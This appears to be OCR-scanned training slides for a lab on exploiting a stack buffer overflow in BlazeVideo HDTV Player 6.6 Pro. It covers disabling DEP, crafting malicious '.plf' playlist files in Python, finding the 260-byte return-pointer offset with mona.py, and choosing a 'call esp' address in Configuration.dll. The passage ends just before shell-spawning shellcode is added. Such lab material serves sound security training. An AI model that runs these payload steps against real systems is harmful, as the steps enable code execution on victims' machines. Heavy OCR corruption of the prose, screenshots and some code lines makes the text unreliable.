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lnstalling BlazeVidco HDTV Player 6.6 Pro 
First. install BlazcYidco HDTV Player 6.6 Pro. In your 660.5 foldcr is a foldcr callcd "Blazc." 
Doublc-click on the filc "BlazcDTYProSctup.cxc" from inside this foldcr to install thc program. 
Acccpt any dcfaults and continuc to the next slidc. 

• In your 660.5 folder is a folder called, "Blaze" 
• In it is the installer titled, "BlazeDTVProSetup.exe" 
• From your Windows 7 32-bit or 64-bit VM, double- 

click the installer and accept any defaults 
• Once you are finished installing the program, 

continue to the next slide 

Install BlazeVideo HDTV Player 6.6 Pro 
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lmmunity Debugger can bc found at: http://immunityinc.com/products-immdbg.shtml 

Note, that you may have already installed lmmunity Debugger from an carlicr exercise. In cithcr 
case, please now copy thc ftle, "rnona.py" from your 660.5 folder over to, "C:\Program Files 
(x86)\lmmunity lnc\Immunity Dcbuggcr\PyCommands\." Wc will discuss mona.py shortly. 

WarFTP Exercise (3) - lnstalling OllyDbg 
Jmmunity Debugger has bcen supplicd to you in your 660.5 foldcr. Davc Aitcl gavc pcrmission 
for us to rcdistribute the tool dircctly. To install thc tool, simply doublc-click on thc installer titled, 
"lmmunityDcbuggcr_t_8X_sctup.exe" and acccpt any dcfaults. Note the "X" in the installer 
name. lf therc is morc than one version of Immunity Debugger in your 660.5 folder, install thc 
one with thc highcst number. Python 2.7 is rcquircd and lmmunity will ask if you would likc for it 
to install Python. Be surc to say yes. 

• Installing Immunity Debugger 
- If you have not already done so previously on 

this VM, install Immunity Debugger 
• Double-Click on the Immunity Debugger installer from your 660.5 

folder titled, "ImmunityDebugger _1_8X_setup.exe" 
• If Python 2.7 rs not mstalled, the installer will ask if you would 

hke to install it now; say yes 
• Once installation is complete, copy the file "mona.py" from your 

660.5 folder over to "C:\Program Files (x86)\lmmunity 
Inc\Immunity Debugger\PyCommands\" 

- REMINDER: Addresses may not match up exactly 
on Windows when analyzing memory! 

Install Immunity Debugger 
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Lct's first check to sce if your systcm has DEP tumcd on or off for third-party applications. Wc will 
need to set up an cxccption for Blazcl IDTV. 

Disable Hardware DEP (1) 
As this is our first cxcrcisc, we want to disablc Data Exccution Prcvcntion (DEP). This will allow us to 
sec the vulnerability and cxploit it with no exploit mitigations. Wc will turn hardwarc DEP back on 
latcr and cxploit this samc program! lt is fairly common for Windows Domain Administrators to turn 
DEP off, cvcn on vcrsions of Windows that have it enabled by default for all third-party applications. 
This is commonly donc for backwards compatibility or simply a lack of understanding as to the 
importance of thc control. Vista SPO, XP SP2/3, and Server 2003 had hardwarc DEP disablcd by 
dcfault for all third-party applications. lt had to bc cnablcd administrativcly. 

• For our first exercise, we want to disable Hardware 
DEP 
- This will allow us to see the vulnerability with no exploit 

mitigation controls - We will turn it back on later! 
- For backwards compatibility, some domain administrators 

may turn DEP off 
- Vista SPO, XP SP2/3, Server 2003 had DEP disabled for 

3rd party applications by default and there are still many 
of these systems in production 

- Let's first check to see if you have DEP turned on or off, 
and set up an exception 

Disable Hardware DEP (1) 
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1) To Start, eithcr press the Win Key +Pause, or click "Start," then "Control Panel," thcn "System." 

2) Oncc you have the system panel up, click on thc "Advanccd system settings" link from thc menu 
on thc left sidc of thc scrccn. 

3) From this window, click the "Settings" buuon under "Performance." 
4) Ncxt, click on thc right panc titled, "Data Execution Prevention." 

5) Continue to the next slide. 

Disable Hardware OEP (2) 
We need to go to your system settings panel. 

\ll\.111\,,:l'~i1l1·.111111 l1.-. 11 .. I ,;),,1\\·.11i.· 1'l:1 •11 111~1\1. 

• Press the Win + Pause key to bring up the system 
properties menu, or dick "Start, Control Panel, System" 
- Then dick on "Advanced system settings" from the menu 

on the left of the screen 
- Click the "Settings" button under "Performance" 
- Click the right pane titled, "Data Execution Prevention" 
- Continue to the next slide 

Disable Hardware DEP (2) 
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1) lf this option was the one already set, skip to step 3. 1 f you had to changc it manually, go to stcp 2. 

2) 1 f this option was not the one already selcctcd, change it and reboot your system, then eome back 
to the DEP window. (You must reboot for DEP to takc cffect.) 

3) Click on "Add" at the bottom ofthc screen. 

4) Select BlazeHDTV program from the directory, "C:\Program Files\BlazcYideo\BlazeYideo 
HDTV Player 6.6 Professional\." lfyour using 64-bit Windows use the "Prograrn Files (x86)" 
folder in your path. 

5) After you selcct thc BlazellDTV program, click "Apply." lt will show up as "MainApp" in the 
DEP window. 

Makc sure the second option is selected which tums DEP on for all third-party applications: 

Disable Hardware DEP (3) 
Thc window shown on this slide should appear. Look at the two radio button options. One says, "Turn 
on DEP for essential Windows programs and services only." The sccond one says, "Turn on DEP for 
all programs and serviees except those 1 select." 

,_ f -~-IZP)-- 
4 = ta----- 
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• You should have a window that 
looks like this image: c- ) 

• Make sure this radio button is 
selected (See Notes): c::::::---_l 
- You may have to reboot! 

• Click on "Add" at the bottom 
• Select BlazeHDTV program 

from the directory, "C:\Program 
Files\BlazeVideo\BlazeVideo HDTV 
Player 6.6 Professional\" 
- On 64-bit, use "Program Files (x86)" 

• Click "Apply" Note: lhe program will show as "Main/vpp' as shown, 

Disable Hardware DEP (3) 
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Bring up Python IDLE 

Click on the Startbutton, then "All Prograrns," "Python 2.7," and thcn "IDLE (Python GUI)." An 
intcractivc Python shcll will appcar as a GUI on thc scrcen. Click on "File" and then "New Window" 
to bring up a Python script window. In thc ncw window, click on "File, "Savc As," and thcn name thc 
fi le, "blazc _ l. py." 

• Click on the Startbutton, then "All Programs," 
"Python 2. 7," and then "IDLE (Python GUI)" 

• An interactive Python shell will appear as a GUI on 
the screen 

• Click on "File" and then "New Window" to bring up 
a Python script window 

• In the new window, dick on "File, "Save As," and 
then name the file, "blaze_l.py" 

Bring up Python IDLE 
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Start Up BlazeHDTV 
Go to your Desktop and doublc-click on thc "Blazevidco HDTV Player 6.6 Pro" icon to starr up 
BlazeHDTV. Thc GUI shown on thc slidc should appear. 

• The following GUI should 
appear.__ ~, 

• Double-Click on the following icon from 
your Desktop ~--------.T 

Start Up BlazeHDTV 
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Oncc you havc the debugger up, click on "File," "Altach," and sclcct thc program named, 
"BlazeHDTV." Click thc "Attach" button and thc debugger should attach to thc program for you. If 
thc "BlazeHDTV" program is not listcd, that mcans it is not currently running. Double-check that it is 
running and continuc. 

Start Up lmmunity Debugger 

Next, start up lmmunity Debugger by doublc-clicking the icon shown on the slide from your Desktop. 
If the icon is not on your Desktop, you eithcr did not crcate a shortcut or forgot to install lmmunity 
Debugger. 

• Double-Click the Immunity Debugger 
Icon from your Desktop 1 > .--.. 

• From the Immunity Debugger main window, 
dick on "File " "Attach " and select I I 

"BlazeHDTV" and dick "Attach" 

Start Up Immunity Debugger 
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You can also make permanent, or more spccific option for customization by going to "Options" from 
thc ribbon and sclccting "Appearancc." Do not bc surprised if aftcr making changcs and closing thc 
tool, that it rcvcrts back to a different layout aftcr rcstarting, 
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lmmunity Debugger Appearance (l) 

Each vcrsion of lmmunity that you run may have a different dcfault panc layout, font sizc, font type, 
color, highlighting schemc, etc ... The truth is that cach uscr of thc tool may havc vcry spccific 
prcfcrcnccs as to thcsc itcms. Fccl frcc to changc thc layout to whatcvcr schcmc you want. To do this, 
you can right-click anywhcrc insidc thc disasscmbly pane and sclcct "Appcarance." Whcn you do this, 
a sidc mcnu will appcar with various options. Thc rnost comrnon ones you will likely want to use arc 
"Font (all)," "Colors (all)," and "Highlighting." Making changes here will rcsult in it taking cffect on 
all pancs. As you can sec. you also have options to change only onc panc. To turn off highlighting 
complctcly, sclcct thc "Highlighting" option and click on "No highlighting." 

• When launching Immunity Debugger, you may want to 
change the font and color 
- Each version and sometimes each run of Immunity 

Debugger seems to be a bit inconsistent as to the layout 
- The color, highlighting, and font may change, as weil as 

the pane layout 
- To modify, right-click in the disassembly pane and select 

"Appearance," and then "Font (all)," "Colors (all)," or 
"Highlighting" 

- The easiest way to get rid of the different colors, such as 
pink and green, is to select the "Highlighting" option and 
dick "No highlighting" 

Immunity Debugger Appearance (1) 
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lmmunity Debugger Appearance (2) 

This slidc simply shows a scrcenshot aftcr highlighting was turncd off, as mcntioncd on the previous 
slidc. In ordcr to fit thc Immunity Debugger scrccnshots onto thc slidcs, its appcarancc was 
intentionally formattcd as thc way you sec it for best visual results. 

Hcrc ts an imagc of Imrnunity Debugger 
with no highlighting. You rnay nlso go to 
„Options, and sclcct „Appcnrancc" to 
rnakc chan te 

' - . ... .. ... .... - 

Immunity Debugger Appearance (2) 
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Ensuring the Program is Running 
Now that you have attached to thc program with the debugger, it should bc in a suspended statc. In thc 
bottom right comer of the debuggcr it should show as "Paused." To let the application rcsumc running, 
click on thc play button from thc lmmunity ribbon bar, or press F9. lt should now show as "Running" 
on thc bottom lcft. Our ncxt objcctive is ro crcatc a Python script that will gcncratc a mutatcd filc to 
crash the program. 

• When attaching to a running program, the 
debugger will put it in a suspended state 

• On the bottom right, it will show as: [P1uu:r.d 1 
• To let the application resume running, you must 

dick the • button, or press F9 
• On the bottom right, it will show as: Running 

• We will now use Python to generate a file that will 
cause the program to crash ! 

Ensuring the Program is Running 
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Save the filc and from your Python IDLE window, click on "Run" and thcn "Run Module." You can 
also press F5. This will exccutc your script, resulting in thc crcation of the "blazc.plf" filc, as shown 
on the slide. Thc "iplf" cxtcnsion mcans "playlist" and is onc of the supported file typcs by thc 
application. lf you gct an crror messagc whcn running your script, therc is likely a problem with it that 
has to bc corrected. 

print "File %s" %file, "created!" 
x.close () 

x = open(file, 'w') 
payload = "A" * 1000 
x. wri te (payload) 

file = 'blaze_l.plf' 

Geoerating a ".plr' File 
Go back to your Python IDLE window whcrc you have thc filc "blazc_l .py" opcn. Type in the 
following codc: 

blaze_1.p11 creaced! 
• When done, save it and click "Run," "Run Module" 

x = open(file, 'w') 
payload = "A'' * 1000 
x. wri te (payload) 
print "File %s" %file, "created!" 
x.close () 

file = 'blaze_l.plf' 

• Go back to your blaze_Lpy Python IDLE window 
• Type in the following code: 

Generati ng a ". plf" File 
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• If so, you must press Shift+F9 to pass the exception 

• You may get the following message in the debugger: 

- ... ,, .. 
• 

1 - 

Using BlazeHDTV to Open the File (1) 
You are now ready to open the "blazc , l.plf" file containing 1,000 "A" characters. Go back to the 
ßlazeHDTV GUI as shown on the slide. Click on the folder icon on the bottom of thc GUI. lt should 
bring up thc menu as shown. Click on "Open Playlist. .. " This may cause an cxception for whatever 
reason, which is caught by the debugger. Debuggers are supposed to catch exeeptions by nature so that 
a devcloper can determine what is causing the problem. You can configure lmmunity Debugger to 
ignore certain types of exceptions i f you dcsire. Regardlcss, if you get the message shown at thc 
bottom of the slide, you must pass thc cxccption. To do this, you nced to press Shift+F9. Ifyou are on 
a Mac, you will have to map the appropriate kcy bindings in order to use the Shift+ F-key 
combinations. 

• The debugger is attached to the BlazeHDTV process - Click 
on the folder and then "Open Playlist'' 

Using BlazeHDTV to Open the File (1) 
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Using BlazeHDTV to Open the File (2) 
After passing thc cxccption to the program and allowing it to continue, you should gct a Standard 
Explorer window. Go to your Python 2.7 folder, or whcrc cvcr you crcatcd thc playlist file from your 
Python script, and open thc "blazcj .plf" filc. At times it may sccrn likc things are running slowly. 
Eaeh Feature you usc within a program may rcquire additional DLL's to bc loaded. Whilc the program 
is attached to with a dcbugger this proccss may run slower as it is being debugged. lt may also seem to 
be hanging when the debugger eatches an exception. Be surc to check thc debuggcr window to sec if 
thc program is currently running. 

• lt may seem as if things are running slowly at 
times 
- This may be due to the debugger loading additional 

DLL's and such 
- lt may also be due to a crash! Be sure to check the 

debugger window to see if it's running 

• After passing the exception, you should get a 
standard Explorer window 

• Open the blaze_l.pls file: 1 >I ._ ---~ 

Using BlazeHDTV to Open the File (2) 
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1 f you did not gct thc samc rcsults, plcasc start from thc bcginning of thc exercisc and cnsurc that you 
complctcd all stcps. 

Thc Program Crashcd! 
As shown on thc slidc, thc BlazeHDTV program crashed whcn opcning thc playlist filc containing thc 
1,000 "A" charactcrs. Wc sec that thc EIP registcr is pointing to Ox4 l 414141, which of coursc is thc 
onc bytc hex valuc for an ASCII "A" charactcr four tirncs in a row. Wc can also sce that thc ESP 
rcgistcr is pointing on the stack to a long scrics of Ox4141414 I 's. lt is very likcly that wc havc 
overwritten the retum pointer of a function containing a buffer overflow vulncrability and got control 
during the function epilogue. 

• lltift •f?J'f'llft t• f . 

- .... - -#- ~ • - ' ... 

• 

The Program Crashed ! 
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Next Steps ... 
Whcrc wc arc at. .. : 

• Wc've installcd thc vulnerable program and all requircd tools 

• We uscd Python ro gcncratc a filc containing 1,000 "A" charactcrs 

• With thc dcbugger attachcd to thc prograrn, wc wcrc able to cause it to crash, and got control 
ovcr thc instruction pointcr 

• Wc rnust now figure out thc sizc of thc buffcr until we hit the return pointcr and dcmonstratc 
precisc control 

• First, in the debuggcr, click on "Debug," "Closc" # This will close thc application that crashcd 
and not thc debugger. 

• Where we are at. .. : 
- We've installed the vulnerable program and all required 

tools 
- We used Python to generate a ftle containing 1,000 "A" 

characters 
- With the debugger attached to the program, we were 

able to cause it to crash, and got control over the 
instruction pointer 

- We must now figure out the size of the buffer until we hit 
the return pointer and demonstrate precise control 

- First, in the debugger, dick on "Debug," "Close" 

Next Steps ... 
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Thc tool is vcry helpful for building cxploits, cspccially whcn dealing with cxploit mitigation 
controls. You can easily scan modulcs and cxccutablcs to sec if thcy arc compilcd to participatc in 
ASLR, SafcSEH, DEP, and other controls. The tool has a built-in scarch option to scan modules 
for ROP gadgcts to disable DEP, and makes searching for trampolincs vcry simple. There are 
othcr fcaturcs as weil. 

Tool - https://rcdminc.corclan.bc/projccts/mona 

Documentation - https://www.corclan.be/index.php/2011/07/14/mona-py-thc-manual/ 

mona.py 
Mona.py is a PyCommand for lmmunity Debugger that aids in building cxploits. lt was writtcn by 
thc Corclan Team, lcd by Peter Van Ecckhouttc "corclanc0d3r." You can find thc tool at: 

• PyCommand for Immunity Debugger 
• Written and maintained by the Corelan Team, lead 

by Peter Van Eeckhoutte "corelanc0d3r" 
• Available at: 

https://redmine.corelan.be/projects/mona 
• Greatly helpful for building exploits: 

- ROP gadget building 
- Exploit mitigation control scanning (DEP, ASLR, SafeSEH, 

etc.) 
- Easily search for trampolines and code reuse 

mona.py 
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Update mona to thc latest version: lmona update #Makes a connection to 
https://rcdmine.corclan.bc and updates 
Scarch for tramoplincs and othcr codc rcuse blocks: Imona jmp -r esp -111 <111od11/e name> 
#Many other options available see the documentation 
Scarch for SEH ovcrwrite codc scqucnccs: lmona seh -m <module 11a111e> 
Setup thc working foldcr to whcrc Output is writtcn: lmona config sset workingfolder 
<PATH/%p> #Path e.g. c:\logs\%p The %p will be populated with the process name 
Scan and display loaded modulcs and protcctions: !111011a modules #Shows modules not 
protected with ASLR, SafeSEH, DEP, etc ... 
Generale a pattcm to dctcrminc buffer sizc: Imona pattem jcreate <N> #Just like Metasploit's 
pattern _ offset.rb am/ pattern_ create.rb 
Pattern locater: ! mona pattern _ offset <pattern> 
Find ROP gadgets: lmona ROP #Generales list of ROP gadgets, xchg's, and other data 
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mona.py Commands 

Thc following is certainly not an cxhaustivc list of commands availablc with mona.py, but some 
commonly used ones: 

• Update mona to the latest version: !mona update 
• Search for trampolines and other code reuse blocks: 

!mona jmp -r esp -m <modu/e name> 
• Search for SEH overwrite code sequences: 
• !mona seh -m <module name> 
• Set up the working folder to where output is written: 

!mona config -set workingfolder <PATH/%p> 
• Display loaded modules and protections: !mona modules 
• Generate a pattern to determme buffer size: 

!mona pattern_create <N> 
• Pattern locater: !mona pattem_offset <pattern> 
• Find ROP gadgets: !mona ROP 

Helpful mona.py Commands 
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Don't forgct to copy the file "mona.py" from your 660.5 foldcr ovcr to "C:\Program Files 
(x86 )\Immun ity 1 nc\J mmunity Dcbugger\PyCommands\". 

(HHHHJ f'f 

u1a.1 ... r10•. 
~ ... H>IDA 
1""2'%P 
11ia.1 ... 11 0 
--~'•ll 1 .. ,, ... 
ni1•1JW 

mona.py Input 

All intcractivc commands, such as those with PyCommands likc mona.py, arc cntcrcd into input 
location shown on thc slidc. This is callcd thc "command bar." 

-~-~.._,. A•g10:.;;(1~~f'U) ----1 
tr.\ ........ 
1 o' 7C91M 89• nldl 1 nr •-t\y 
1 NY Hl3f00C 
1 '.P Hl3fC[lo 
1 ftP H13FORQ 
f OIOtet 1 
1 urocett 
l IP 7C90r89• uldll ~,f„l~y· 

1 

, ••.Al HttHe MDO IAX.DIM ~Pli f 
. ss "" cw • HCC llOU [IP ,FSP 
• 6A 1 r PISll 1 
. •• ret.-ut "s• ..,. np• ,...,."f, 
••• 12U•30t PUSH (JHI' .&~.clf ... c:.,t_n•ndl•r3 
• St PUSN EAX 
• 6•:892S OHttlllOU OllORO PU FS:[tf,ESP 
• 13(C 71 SUI CSP, 78 
• S3 PUSH CIX 
• 56 PUSH tsl 
• S1 PUSH EOI 
. 196S EI llOU OWORO PU SS: 1 UP-11) ,[SP 

mona.py Input 
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You should gct thc output shown on thc slide at thc bottom. 

!mona config -set workingfolder C:\Mona_Output 

Oncc you havc idcntificd a dircctory to where you want Mona to writc its output, cxecutc thc 
following command from the command bar insidc of lmmunity Debugger: 

mkdir C:\Mona_Output 

Set Up a Working Felder 
Whcn cxccuting Mona commands, a summary of thc rcsults will appear in the log window within 
lmmunity Debugger, as weil as a füll version writtcn to thc filc systcrn. You will want toset thc 
location to where this output will be written. To do this, you nccd to first crcatc a foldcr. In the 
cxamplc on thc slidc, wc arc using a Windows command shell to crcatc a dircctory callcd 
"Mona Output" at thc root ofthe C drive. 

• You should get the following in the log window: 

~ 

Writinf ualue to conriguration file ~ ~ 
u Df »'Old ua ue oE )Mlraiwter workingrolder • ~ D D C•J Creatinf conri9 file. aettint paraaeter workin9folder 0BAD New ualue o )Mlra ... ter workin9fo der• C:'"°na_Output flction took 1:88:18.816188 _ 

•mona config -set workingfolder C:\Mona_Output 

• Create a folder on your file system where you want 
the Mona script to write all output 
- e.g. mkdir C:\Mona_Output 

• Next, inside of Immunity Debugger, from the 
interactive command bar at the bottom, run the 
following command: 

Set Up a Working Folder 
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In thc log window you should see the same output as shown on thc slidc. lf thc log window docsn 't 
automatically appcar, click thc "I" button from thc Immunity Debugger ribbon bar. As it says in thc 
output, do not copy thc pattcm from thc log window as it is truncatcd. lt will bc writtcn to your 
"working dircctory" and is titlcd, "pattern.txt." 

You can also substitute "pc" for "pattcm crcatc." 

!mona pattern_create 1000 

.\J\anu~d Pnw1ra11t111·1,·,1111g.1 ,pl1111 \\n1111g .. 111d l .1l11tal lfod.ing 

Generate a Pattern 
Ncxt, instcad ofsending in a bunch of"A" characters to the application, wc will crcatc a 1,000-bytc 
pattcm using Mctasploit's "pattcm_crcatc" script, portcd into Mona. Just as wc did in 660.4, we will 
usc this pattcm to dctcnnine they numbcr of bytcs until wc hit thc rctum pointcr. From the command 
bar insidc of lmmunity Debugger, execute the following command: 

CN•t n1 CllClla .,..tc•"' of 1 bptu 1.-.aJAa21a3Aa411aSla6Aa?ll.tAatl ... b1Ab2Ablllo4AbSAli6Ab'XlblAb9Ac81lc1Ac2Ac3Ac„cSAc6A 
l•I Preparint 101 filo 'pattern.txt' l~=!~I - (llot)Hlt ln1 lotf ile C:Vlena_Out„t'-.,..H•rn.txt. 

li> II d 't ll t • .. u • .., f.,,., tho 1 - ' cl~v lt •11~ t-unCJ1tod 1 
c• c • o o C 1 · c ...t .,~ ..,, •r t fi 

- As it says, do not try and copy to pattern from the log 
screen. lt is written to your "working directory" 

• We will now generate a 1,000-byte pattern using 
Mona to determine the buffer size 
- These are the Metasploit pattern_create and 

pattern_offset scripts, ported to Mona 
- From the interactive command bar in Immunity, run: 
- l !mona pattern_create 1000 or "!mona pc 1000" 
- In the log window, you should see the following: 

Generate a Pattern 
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Note that it is truncatcd on the end as wc cannot fit a 1,000 bytc pattcm onto the slide. Make sure thc 
pattcrn is wrapped with quotation marks so that it is treated as a string. Savc thc file and execute/run it 
to crcatc thc ncw "blazel.plf" filc. Start up thc BlazcHDTV program again and continue to thc next 
slidc. 

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa . 
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Updating the Python Script 
Wc must now update our Python script so that we crcatc a ncw "blaze _ l.plf" filc containing our 
pattcm. Open up thc "pattcrn.txt" filc from your working dircctory and copy only the pattcm itsclf. 
Thc casicst way is to simply double-dick it and press ctrl-c. With thc pattcrn copied into your 
clipboard, go to your script and update thc payload linc. lt should look similar to thc following: 

• Make sure you include the quotation marks 
• Save the file and run it to create the new "plf" file 
• Start the BlazeHDTV program again and continue ... 

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa . 

• We now want to update our Python script to 
include the pattern as the payload 

• Open the "pattern.txt" file from your working folder 
• Copy the pattern over to your Python script and 

update the "payload" line to: 

Updating the Python Script 
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The log window shows that the number of bytcs bcforc hitting that piccc ofthc pattcm is 260-bytcs. 
i.c. At 260-bytcs begins the retum pointcr wc want to ovcrwrite. 

!mona pattern_offset 37694136 

Crashing with the Pattern 
Oncc BlazcHDTV is up and running, usc thc samc stcps as bcforc to attach to thc program with thc 
debuggcr and rnakc surc it is running, not suspcnded (pauscd). Open up the "blazc , lplf" filc with 
BlazeHDTV and wait for thc crash. lt should crash with EIP pointing to "37694136." lf you did not 
gct this rcsult, pleasc vcrify your prcvious stcps. ElP is pointing to a piecc of the pattern. Next, in the 
lmmunity Debugger command bar, run: 

• The log windows shows a size of 260-bytes: 
•mona pattern_offset 37694136 

• Repeat the earlier steps to start the program, 
attach to it with the debugger, and continue 
execution 

• Open the new "blaze_l.plf" file with BlazeHDTV 
• Ensure that the program crashes with: EIP 3?694136] 

• That is a piece of the pattern we generated ! 
• In Immunity Debugger, run: 

Crashing with the Pattern 



83 

Save thc script, executc it, and rcdo thc prcvious stcps to cause thc application to crash insidc thc 
dcbuggcr. You should gct the results on thc slide, showing that EIP is pointing to "DEADCODE." Wc 
havc now vcri ficd that wc havc control. 

This will print 260 "A" charactcrs, followed by Oxdcadcüdc in littlc cndian formal. Sincc x86 uscs 
little cndian, we necd to pul the bytcs in rcvcrse ordcr so that thcy actually gct written in thc right ordcr 
on thc stack. Rcmcmber, this valuc is passed to thc instruction pointcr. 1 f we don 't put it in backwards, 
wc'll jump to OxdccOaddc instcad of Oxdcadcüdc. 

payload = "A" * 260 + "\xde\xcO\xad\xde" 

Verifying Precise Control of EIP 
Lct's quickly vcrify that thc "pattcm_offsct" script is corrcct and that wc havc prccisc control of the 
instruction pointer. In your Python script, update thc payload linc to look like this: 

• This is 260 "A" characters, followed by OxdeadcOde 
in little endian format 

• Save the script, execute it, and redo the previous 
steps to cause the crash in the debugger 

• We get "DEADCODE" in the EIP register! 
l!!P DEAOC0DF 1 

• We have now verified control 

payload = "A" "*' 260 + "\xde\xcO\xad\xde" 
• Update the payload line in your Python script to: 

Verifying Precise Control of EIP 
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Next Steps ..• 

At this point wc need to modify our Python script so that we can visually see how it looks on the stack. 
This will hclp us writc thc cxploit and makcs it easier for you to undcrstand what wc arc trying to 
accomplish. Wc will thcn sclcct thc shcllcodc wc want to cxccutc as our payload, locate an opcodc to 
hclp us jump to our shcllcodc, and finally, compromisc thc program. 

• We must now: 
- Modify our Python script to more easily see the 

layout on the stack 
- Select shellcode to spawn a shell 
- Locate an opcode to help us get to your 

shellcode 
- Successfully compromise the program 

Next Steps ... 
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This will perform thc following: 

• Print 260 "A" charactcrs to gct to thc rcturn pointcr. 

• Print "RRRR" which will causc EIP to crash trying to cxccutc thc addrcss "Ox52525252." This 
is just a placc holder. We'll pul the real rcturn pointcr herc soon, oncc wc figurc that partout 

• Print 20 NOP bytes "Ox90" so that wc can more easily sec thc stack layout during the crash. 

• Print 20 "B" charactcrs which will bc where wc pur our shcllcodc oncc wc get to that point. This 
is just anothcr placc holder. 

payload = "A" * 260 + "RRRR" + "\x90" * 20 + "B" * 20 

Modifying Our Script 
Modify thc payload linc in your "blazcj] .py" script to look likc thc following: 

\,h,l11l•1l l'111lll.1flooll 11·, 111.:. I 'illor'I \\111111.•. i!lll 1 •l11,,1l llH1"'• 

• Modify the payload line in your Python script to: 
payload = "A" * 260 + ''RRRR" + "\x90" * 20 + "B" * 20 =1 
• This will perform the following: 

- Print 260 "A" characters to get to the return pointer 
- Print "RRRR" which will cause EIP to crash trying to 

execute the address "Ox52525252" (Just a place holder) 
- Print 20 NOP bytes "Ox90" so that we can more easily 

see the stack layout during the crash 
- Print 20 "B" characters which will be where we put our 

shellcode once we get to that point 

Modifying Our Script 
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Sincc the stack pointcr is pointing to our NOPs, wc can attcmpl to locate the address of a "jrnp esp" or 
"call csp" instruction, ovcrwritc thc return pointcr with this addrcss, and get execution! 

Analyzing the Crash 

After updating your script, savc it and executc it again, crcating the ncw "blazc , l.plf" filc. Go ahcad 
and rcdo the steps to causc thc crash in the dcbuggcr. As you can sec on thc slidc, thc imagc shows thc 
layout of thc stack. Y ou can now casi ly sec thc "A" charactcrs as "Ox4 l 4 l 4 141" leading up to thc 
return pointcr of"Ox52525252." Next you sec a scrics of our NOPs as "Ox90909090," and finally our 
"B" characters as ''Ox42424242." ESP is pointing to the last four bytcs of our NOPs. Why is it pointing 
down there and not right after thc return pointcr? This is likely due to arguments being passed to the 
vulnerable function. The calling convcntion likcly inscrtcd codc to adjust thc stack pointcr past thcsc 
argumcnts bcforc thc epilogue. 

• This is likely due to 
arguments passed to the 
vulnerable function being 
cleaned up by the calling 
convention 

• The instruction 
"jmp or call esp" will do! 

• We crash at address Ox52525252 IEIP s2s251,>5? 1 

• ESP is pointing on the stack to the last four NOP 
bytes we added 0012F2oa 41414141 AAAA 

0012F20C 41414141 AAAA 
0012F210 41414141 AAAA 
0012F214 5252 252 RRRR 
0012F218 90909090 
0012F21C 90909090 
0012F220 90909090 
0012F224 90909090 

1 1 90909oqo 
0012F22C 42424242 BBBB 
0012F230 42424242 BBBB 
0012F234 42424242 BBBB 

Analyzing the Crash 
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The "-o" teils Mona to ignore OS modules, such as those located in your ''C:\ Windows\System32" 
folder. 

#Make sure the program is running in the !mona modules -o 
debugger first! 

Now what? 

Our ncxt stcps are thc following arc to locate thc addrcss of a "jmp csp" or "call csp" instruction in 
ordcr to gct shcllcodc cxccution. Wc will nccd to replacc thc "B" characters that werc scrving as a 
place holder with our dcsircd shellcodc. Wc will usc Mona to find the addrcss of a "jmp csp" or "call 
csp." For this to work, wc nccd to find a modulc that is not participating in ASLR or bcing rebased. To 
do this we can usc thc following Mona command in thc lmmunity Debugger command bar: 

• Since ESP points to our NOPS when the crash 
occurs, we can: 
- Overwrite the return pointer with the address of a "jmp 

esp" or "call esp" to get execution 
- Replace the "B" characters with shellcode 
- Let's use Mona to find the instruction 
- We will need to first find a DLL that is not participating in 

ASLR or being rebased 
- From the command bar in Immunity Debugger, run the 

following command to view each module and its exploit 
mitigations: !mona modules -o 

Now what? 
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!mona modulcs 
Duc to thc sizc of thc output, only a small piece of thc Output is shown. This command shows you cach 
modulc and which cxploit mitigations it participatcs in, including "Rebasc," "SafoSEH," "ASLR," 
"DEP (NX)," and whcther or not it is an OS OLL. As you can sec, most of thcm are not participating 
in many controls. Rebase is on for the majority, so wc will nccd to sclcct on that is not bcing rcbascd 
as it won 't bc static. 

• As you can see, there are a bunch of modules that 
come with the BlazeHDTV program, not compiled 
for ASLR and other controls! 

llebaae 1 SafeSEH 1 •SLR 1 MICConp•t ; OS Dll 1 Version. llodulen.,.. 6 Path -------- ---------·-- -----------·- 
True 1 Pd e 1 Pdse Pd e 1 P•lse 1 -1.I llluelUllCet-1.dlll <C:~,... Piles lrue 1 P•lH 1 Palae P•lH 1 P•laa 1 -1.• thudlrer ..... ceoa.dlll (C:""89...,. Pt 1,.... 1 Pal•• 1 Palae Palae 1 Pala• 1 1.8.8.1 Clleco"'-t<trl.dlll <C:'1'1-eJ...,. Pile ~~ : ~:l:: : ~:~:: ::~:: 1 ~:1:: l i~i~e-~'t;:e..:~!!!.!.!~c~li'fi <~}~,r 
h-ue 1 P•la• 1 P•h• PalH : Pdae 1 1.8.8.1 (lleMteCofttrelCtrl.dll) <C•"""'•r- 1..... 1 T""' 1 True y..,. : Paln 1 8 &e ?611.1'1!>14 llepre•y.dlll <C:, .......... P 1,.... 1 Palae 1 Pal•• Palte : Pal•• 1 1.,.21.2911' 1Preft1eltere.DLLI (C:'J're9..,. l"•• 1 P• he : Pahe P•h• : Pa ln : 1 1.8.1 l•wllePreceu.dll l (C:"re- Pile Pal•e 1 P•loe 1 Falae Palte 1 Palae 1 1.8.l.1 lllazeMDlf.EXll (C1""'"'1r.,. Pile•" 
r .... ~ 1 FAlf"---..Lf 1 • ... ,~... L:L..!! IDIM.lhDU .Ull (~'""'...l:t!!L PU••'lla 

• This screenshot is only a small piece of the output 
from Mona: 

! mona modules 
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The results wc got arc shown on thc scrccn. lt says, "Donc. Found 4 pointers." In our example, wc will 
sclcct the bottom result, showing as "Ox603bc03 : call csp." Wc will usc this addrcss as thc rctum 
pointcr overwritc. 

!mona jmp -resp -m Configuration.dll 

Finding a "jmp esp" or "call esp" 
Sclect onc of thc DLL's that is not bcing rcbased, and not participating in thc othcr controls. lf you 
want to match thc slides, usc thc "Configuration.dll" modulc. Run thc following cornmand, using your 
sclcctcd modulc aftcr the "-m" flag: 

• In this example, we'll use Ox6034be03 as the 
address to overwrite the return pointer 

D 
Results : 8><68333583 : push esp 1 Bx6834bc23 : j1111p esp 1 8x6834c223 : j1111p esp 1 8x6834be83 : call esp: c. Pound 4 pointer~ 

• Select one of the DLL's not participating in ASLR or 
Rebase, like Configuration.dll, and run the following 
cornmand: 11mona Jmp -r esp -m Confiquration.dll 

• Here are the results from Configuration.dll: 

Finding a "jmp esp" or "call esp" 
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Shellcode to spawn a command shcll is in your 660.5 "Blazc" foldcr, titled "shcllcodccmd.txt." Open 
this file and copy thc contents over to your script. 

